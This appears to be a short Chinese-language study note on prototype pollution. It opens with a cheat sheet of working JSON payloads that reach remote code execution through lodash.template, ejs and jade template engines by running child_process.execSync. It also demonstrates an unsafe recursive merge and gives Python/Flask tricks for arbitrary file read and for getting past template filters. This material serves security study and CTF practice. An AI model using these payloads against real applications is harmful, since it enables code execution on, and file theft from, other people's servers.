ruby
javascript

常用payload:
{"__proto__": {"admin": 1}}
// 配合lodash.template进行rce
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('whoami')}"}}
// 配合express的render方法进行rce
{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').execSync('dir');var __tmp2"}}// ejs 模版引擎 version < 3.1.7
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'whoami\'))"}} // jade 模板引擎
模块中的漏洞见如上链接. ![[Pasted image 20250115112602.png]] 一个简单的例子:
object1 = { a: 1, b: 2 };
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = { c: 1, d: 2 };
console.log(object2.foo);
这里object2本来没有foo属性,可见object2.proto和object1是共享的。这样所有的object都带上了这个属性。
常见的攻击点:merge \ Object.assign
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
let object1 = {};
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(object1, object2);
console.log(object1.a, object1.b);
object3 = {};
console.log(object3.b);
递归merge, 会存在这样一个操作, object1.proto.b = object2.proto.b; 所以object的原型被污染,都带上了b,且值为2
python
修改app._static_folder为根目录,达成任意文件读
在模板注入+污染时,如果过滤了{, 可以考虑污染app.jinja_env.variable_start_string